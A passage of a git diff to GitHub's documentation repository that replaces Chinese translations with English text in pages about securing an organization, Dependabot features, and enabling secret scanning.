products](/github/getting-started-with-github/githubs-products)" +- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)" diff --git a/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md b/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md index 7f6adca8fe..f88ddfd505 100644 --- a/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md +++ b/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md @@ -1,6 +1,6 @@ --- -title: 保护您的组织 -intro: '您可以使用许多 {% data variables.product.prodname_dotcom %} 功能来帮助保护组织的安全。' +title: Securing your organization +intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure.' permissions: Organization owners can configure organization security settings. versions: fpt: '*' @@ -13,112 +13,112 @@ topics: - Dependencies - Vulnerabilities - Advanced Security -shortTitle: 保护您的组织 +shortTitle: Secure your organization --- -## 简介 -本指南向您展示如何配置一个组织的安全功能。 组织的安全需求是独一无二的，您可能不需要启用每个安全功能。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 安全功能](/code-security/getting-started/github-security-features)”。 +## Introduction +This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." -某些安全功能仅适用于{% ifversion fpt or ghec %}公共仓库，以及由{% else %}您具有 {% endif %} {% data variables.product.prodname_advanced_security %} 许可的组织拥有的仓库。 {% data reusables.advanced-security.more-info-ghas %} +Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %} -## 管理对组织的访问 +## Managing access to your organization You can use roles to control what actions people can take in your organization. {% if security-managers %}For example, you can assign the security manager role to a team to give them the ability to manage security settings across your organization, as well as read access to all repositories.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." {% ifversion fpt or ghes > 3.0 or ghec %} -## 创建默认安全策略 +## Creating a default security policy -您可以创建默认安全策略，该策略将显示在组织中任何没有自己的安全策略的公共仓库中。 更多信息请参阅“[创建默认社区健康文件](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)”。 +You can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." {% endif %} {% ifversion fpt or ghes > 2.22 or ghae-issue-4864 or ghec %} -## 管理 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图 +## Managing {% data variables.product.prodname_dependabot_alerts %} and the dependency graph -{% ifversion fpt or ghec %}默认情况下，{% data variables.product.prodname_dotcom %} 会检测公共仓库中的漏洞，并生成 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图。 您可以为组织拥有的所有私有仓库启用或禁用 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图。 +{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %} and a dependency graph. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} and the dependency graph for all private repositories owned by your organization. -1. 单击您的个人资料照片，然后单击 **Organizations（组织）**。 -2. 单击组织旁边的 **Settings（设置）** 。 -3. 点击 **Security & analysis（安全和分析）**。 -4. 单击您要管理的功能旁边的 **Enable all（全部启用）**或 **Disable all（全部禁用）**。 -5. （可选）选择 **Automatically enable for new repositories（自动对新仓库启用）**。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to the feature that you want to manage. +5. Optionally, select **Automatically enable for new repositories**. {% endif %} {% data reusables.dependabot.dependabot-alerts-beta %} {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} -更多信息请参阅“[关于漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”、“[探索仓库的依赖关系](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)”和“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)," and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %} -## 管理依赖项审查 +## Managing dependency review -依赖项审查可让您在合并到仓库之前在拉取请求中显示依赖关系的变化。 -{% ifversion fpt or ghec %}依赖项审查在所有公共仓库中可用。 For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. +Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. +{% ifversion fpt or ghec %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. {% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %} -更多信息请参阅“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)”。 +For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -## 管理 {% data variables.product.prodname_dependabot_security_updates %} +## Managing {% data variables.product.prodname_dependabot_security_updates %} -对于任何使用 {% data variables.product.prodname_dependabot_alerts %} 的仓库，您可以启用 {% data variables.product.prodname_dependabot_security_updates %} 在检测到漏洞时提出带有安全更新的拉取请求。 您也可以为组织的所有仓库启用或禁用 {% data variables.product.prodname_dependabot_security_updates %}。 +For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories across your organization. -1. 单击您的个人资料照片，然后单击 **Organizations（组织）**。 -2. 单击组织旁边的 **Settings（设置）** 。 -3. 点击 **Security & analysis（安全和分析）**。 -4. 单击 {% data variables.product.prodname_dependabot_security_updates %} 旁边的 **Enable all（全部启用）**或 **Disable all（全部禁用）**。 -5. （可选）选择 **Automatically enable for new repositories（自动对新仓库启用）**。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_dependabot_security_updates %}. +5. Optionally, select **Automatically enable for new repositories**. -更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)”和“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -## 管理 {% data variables.product.prodname_dependabot_version_updates %} +## Managing {% data variables.product.prodname_dependabot_version_updates %} -您可以让 {% data variables.product.prodname_dependabot %} 自动提出拉取请求以保持依赖项的更新。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)“。 +You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)." -要启用 {% data variables.product.prodname_dependabot_version_updates %}，您必须创建 *dependabot.yml* 配置文件。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." +To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." {% endif %} {% ifversion fpt or ghes > 2.22 or ghae or ghec %} -## 管理 {% data variables.product.prodname_GH_advanced_security %} +## Managing {% data variables.product.prodname_GH_advanced_security %} {% ifversion fpt or ghes > 2.22 or ghec %} -如果您的组织属于具有 {% data variables.product.prodname_advanced_security %} 许可的企业，您可以启用或禁用 {% data variables.product.prodname_advanced_security %} 功能。 +If your organization has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features. {% elsif ghae %} -您可以启用或禁用 {% data variables.product.prodname_advanced_security %} 功能。 +You can enable or disable {% data variables.product.prodname_advanced_security %} features. {% endif %} -1. 单击您的个人资料照片，然后单击 **Organizations（组织）**。 -2. 单击组织旁边的 **Settings（设置）** 。 -3. 点击 **Security & analysis（安全和分析）**。 -4. 单击 {% data variables.product.prodname_GH_advanced_security %} 旁边的 **Enable all（全部启用）**或 **Disable all（全部禁用）**。 -5. （可选）选择 **Automatically enable for new private repositories（自动对新私有仓库启用）**。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_GH_advanced_security %}. +5. Optionally, select **Automatically enable for new private repositories**. -更多信息请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”和“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -## 配置 {% data variables.product.prodname_secret_scanning %} -{% data variables.product.prodname_secret_scanning_caps %} 可用于{% ifversion fpt or ghec %}公共仓库，以及具有{% else %}您有{% endif %} {% data variables.product.prodname_advanced_security %} 许可的组织拥有的私有仓库。 +## Configuring {% data variables.product.prodname_secret_scanning %} +{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. -您可以对已启用 {% data variables.product.prodname_advanced_security %} 的所有仓库启用或禁用 {% data variables.product.prodname_secret_scanning %}。 +You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled. -1. 单击您的个人资料照片，然后单击 **Organizations（组织）**。 -2. 单击组织旁边的 **Settings（设置）** 。 -3. 点击 **Security & analysis（安全和分析）**。 -4. 单击 {% data variables.product.prodname_secret_scanning_caps %} 旁边的 **Enable all（全部启用）**或 **Disable all（全部禁用）**（仅限 {% data variables.product.prodname_GH_advanced_security %} 仓库）。 -5. （可选）选择**自动对添加到 {% data variables.product.prodname_advanced_security %} 的私有仓库启用**。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_secret_scanning_caps %} ({% data variables.product.prodname_GH_advanced_security %} repositories only). +5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. -更多信息请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% endif %} -## 后续步骤 +## Next steps {% ifversion fpt or ghes > 3.1 or ghec %}You can view, filter, and sort security alerts for repositories owned by your organization in the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% endif %} -您可以查看和管理来自安全功能的警报，以解决代码中的依赖项和漏洞。 For more information, see {% ifversion fpt or ghes > 2.22 or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." +You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes > 2.22 or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. 更多信息请参阅“[关于 {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)”和“[创建安全通告](/code-security/security-advisories/creating-a-security-advisory)”。 +{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." {% endif %} diff --git a/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md index 0cba3ca1c5..870dca2229 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md @@ -1,6 +1,6 @@ --- -title: 关于密码扫描 -intro: '{% data variables.product.product_name %} 扫描仓库查找已知的密码类型，以防止欺诈性使用意外提交的密码。' +title: About secret scanning +intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -23,56 +23,56 @@ topics: {% data reusables.secret-scanning.beta %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -如果项目与外部服务通信，您可能使用令牌或私钥进行身份验证。 令牌和私钥是服务提供商可以签发的典型密码。 如果将密码检入仓库，则对仓库具有读取权限的任何人都可以使用该密码以您的权限访问外部服务。 建议将密码存储在项目仓库外部专用的安全位置。 +If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project. -{% data variables.product.prodname_secret_scanning_caps %} 将在 {% data variables.product.prodname_dotcom %} 仓库中存在的所有分支上扫描整个 Git 历史记录，以查找任何密钥。 服务提供商可与 {% data variables.product.company_short %} 合作提供其用于扫描的密码格式。{% ifversion fpt or ghec %} 更多信息请参阅“[密码扫描合作伙伴计划](/developers/overview/secret-scanning-partner-program)”。 +{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for any secrets. Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning.{% ifversion fpt or ghec %} For more information, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." {% endif %} {% data reusables.secret-scanning.about-secret-scanning %} {% ifversion fpt or ghec %} -## 关于公共仓库的 {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} for public repositories -{% data variables.product.prodname_secret_scanning_caps %} 自动对公共仓库启用。 当您推送到公共仓库时，{% data variables.product.product_name %} 会扫描提交的内容中是否有密码。 如果将私有仓库切换到公共仓库，{% data variables.product.product_name %} 会扫描整个仓库中的密码。 +{% data variables.product.prodname_secret_scanning_caps %} is automatically enabled on public repositories. When you push to a public repository, {% data variables.product.product_name %} scans the content of the commits for secrets. If you switch a private repository to public, {% data variables.product.product_name %} scans the entire repository for secrets. -当 {% data variables.product.prodname_secret_scanning %} 检测一组凭据时，我们会通知发布密码的服务提供商。 服务提供商会验证该凭据，然后决定是否应撤销密钥、颁发新密钥或直接与您联系，具体取决于与您或服务提供商相关的风险。 有关如何使用令牌颁发合作伙伴的概述，请参阅“[密码扫描合作伙伴计划](/developers/overview/secret-scanning-partner-program)”。 +When {% data variables.product.prodname_secret_scanning %} detects a set of credentials, we notify the service provider who issued the secret. The service provider validates the credential and then decides whether they should revoke the secret, issue a new secret, or reach out to you directly, which will depend on the associated risks to you or the service provider. For an overview of how we work with token-issuing partners, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." ### List of supported secrets for public repositories -{% data variables.product.product_name %} 当前会扫描公共仓库，查找以下服务提供商发布的密码。 +{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers. {% data reusables.secret-scanning.partner-secret-list-public-repo %} -## 关于私有仓库的 {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} for private repositories {% endif %} {% ifversion ghes or ghae %} -## 关于 {% data variables.product.product_name %} 上的 {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %} -{% data variables.product.prodname_secret_scanning_caps %} 作为 {% data variables.product.prodname_GH_advanced_security %} 的一部分，在组织拥有的所有仓库上可用。 它不适用于用户拥有的仓库。 +{% data variables.product.prodname_secret_scanning_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. {% endif %} -如果您是仓库管理员或组织所有者，您可以为组织拥有的{% ifversion fpt or ghec %}私有{% endif %}仓库启用 {% data variables.product.prodname_secret_scanning %}。 You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +If you're a repository administrator or an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %} private{% endif %} repositories that are owned by organizations. You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. 更多信息请参阅“[定义 {% data variables.product.prodname_secret_scanning %} 的自定义模式](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)”。{% endif %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %} When you push commits to a{% ifversion fpt or ghec %} private{% endif %} repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of the commits for secrets. When {% data variables.product.prodname_secret_scanning %} detects a secret in a{% ifversion fpt or ghec %} private{% endif %} repository, {% data variables.product.prodname_dotcom %} generates an alert. -- {% data variables.product.prodname_dotcom %} 向仓库管理员和组织所有者发送电子邮件警报。 +- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -- {% data variables.product.prodname_dotcom %} 向提交机密到仓库的贡献者发送电子邮件警报，其中包括指向相关 {% data variables.product.prodname_secret_scanning %} 警报的链接。 然后，提交作者可以在仓库中查看警报，然后解决警报。 +- {% data variables.product.prodname_dotcom %} sends an email alert to the contributor who committed the secret to the repository, with a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. {% endif %} -- {% data variables.product.prodname_dotcom %} 显示仓库中的警报。{% ifversion ghes = 3.0 %} 更多信息请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)”。{% endif %} +- {% data variables.product.prodname_dotcom %} displays an alert in the repository.{% ifversion ghes = 3.0 %} For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -有关查看和解析 {% data variables.product.prodname_secret_scanning %} 警报的详细信息，请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)”。{% endif %} +For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} -仓库管理员和组织所有者可以授权用户和团队访问 {% data variables.product.prodname_secret_scanning %} 警报。 更多信息请参阅“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)”。 +Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% ifversion fpt or ghes > 3.0 or ghec %} -要监控来自私有仓库或组织中的 {% data variables.product.prodname_secret_scanning %} 的结果，可以使用 {% data variables.product.prodname_secret_scanning %} API。 有关 API 端点的更多信息，请参阅“[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)”。{% endif %} +To monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion fpt or ghec %}private {% endif %}repositories{% ifversion ghes > 3.1 %} or your organization{% endif %}, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} {% ifversion ghes or ghae %} ## List of supported secrets{% else %} @@ -86,12 +86,12 @@ When {% data variables.product.prodname_secret_scanning %} detects a secret in a {% ifversion ghes < 3.2 or ghae %} {% note %} -**注：** {% data variables.product.prodname_secret_scanning_caps %} 当前不允许定义自己的模式来检测密码。 +**Note:** {% data variables.product.prodname_secret_scanning_caps %} does not currently allow you to define your own patterns for detecting secrets. {% endnote %} {% endif %} -## 延伸阅读 +## Further reading -- "[保护您的仓库](/code-security/getting-started/securing-your-repository)" -- "[保护帐户和数据安全](/github/authenticating-to-github/keeping-your-account-and-data-secure)" +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" diff --git a/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md index 3b8c028118..e81557bfdf 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md +++ b/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md @@ -1,6 +1,6 @@ --- -title: 配置仓库的密码扫描 -intro: '您可以配置 {% data variables.product.prodname_dotcom %} 如何扫描您仓库中的密码。' +title: Configuring secret scanning for your repositories +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets.' permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning %} for the repository.' redirect_from: - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories @@ -17,7 +17,7 @@ topics: - Secret scanning - Advanced Security - Repositories -shortTitle: 配置密钥扫描 +shortTitle: Configure secret scans --- {% data reusables.secret-scanning.beta %} @@ -26,61 +26,66 @@ shortTitle: 配置密钥扫描 {% ifversion fpt or ghec %} {% note %} -**注：**{% data variables.product.prodname_secret_scanning_caps %} 默认在公共仓库上启用，无法关闭。 您只能配置私有仓库的 {% data variables.product.prodname_secret_scanning %}。 +**Note:** {% data variables.product.prodname_secret_scanning_caps %} is enabled by default on public repositories and cannot be turned off. You can configure {% data variables.product.prodname_secret_scanning %} for your private repositories only. {% endnote %} {% endif %} -## 为{% ifversion fpt or ghec %}私有{% endif %}仓库启用 {% data variables.product.prodname_secret_scanning %} +## Enabling {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %}private {% endif %}repositories {% ifversion ghes or ghae-next %} -您可以对组织拥有的任何仓库启用 {% data variables.product.prodname_secret_scanning %}。 -{% endif %} 启用后，{% data reusables.secret-scanning.secret-scanning-process %} +You can enable {% data variables.product.prodname_secret_scanning %} for any repository that is owned by an organization. +{% endif %} Once enabled, {% data reusables.secret-scanning.secret-scanning-process %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -4. 如果 {% data variables.product.prodname_advanced_security %} 尚未对仓库启用，请在“{% data variables.product.prodname_GH_advanced_security %}”右侧单击 **Enable（启用）**。 - {% ifversion fpt or ghec %}![为仓库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/help/repository/enable-ghas-dotcom.png) +4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png) {% elsif ghes > 3.0 or ghae-next %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} -5. 查看启用 {% data variables.product.prodname_advanced_security %} 的影响，然后点击 **对仓库启用 {% data variables.product.prodname_GH_advanced_security %}**。 -6. 当您启用 {% data variables.product.prodname_advanced_security %} 时，{% data variables.product.prodname_secret_scanning %} 可能会因为组织的设置而自动启用。 如果 "{% data variables.product.prodname_secret_scanning_caps %}" 显示 **Enable（启用）**按钮，则您仍需通过单击 **Enable（启用）**来启用 {% data variables.product.prodname_secret_scanning %}。 如果您看到 **Disable（禁用）**按钮，则表明 {% data variables.product.prodname_secret_scanning %} 已启用。 ![为仓库启用 {% data variables.product.prodname_secret_scanning %}](/assets/images/help/repository/enable-secret-scanning-dotcom.png) +5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. +6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png) {% elsif ghes = 3.0 %} -7. 在“{% data variables.product.prodname_secret_scanning_caps %}”右边单击 **Enable（启用）**。 ![为仓库启用 {% data variables.product.prodname_secret_scanning %}](/assets/images/help/repository/enable-secret-scanning-ghe.png) +7. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-ghe.png) {% endif %} {% ifversion ghae %} -1. 在可以启用 {% data variables.product.prodname_secret_scanning %} 之前，您需要先启用 {% data variables.product.prodname_GH_advanced_security %}。 在“{% data variables.product.prodname_GH_advanced_security %}”右边单击 **Enable（启用）**。 ![为仓库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) -2. 单击**为此仓库启用 {% data variables.product.prodname_GH_advanced_security %}** 以确认操作。 ![确认为仓库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) -3. 在“{% data variables.product.prodname_secret_scanning_caps %}”右边单击 **Enable（启用）**。 ![为仓库启用 {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) +1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) +2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} 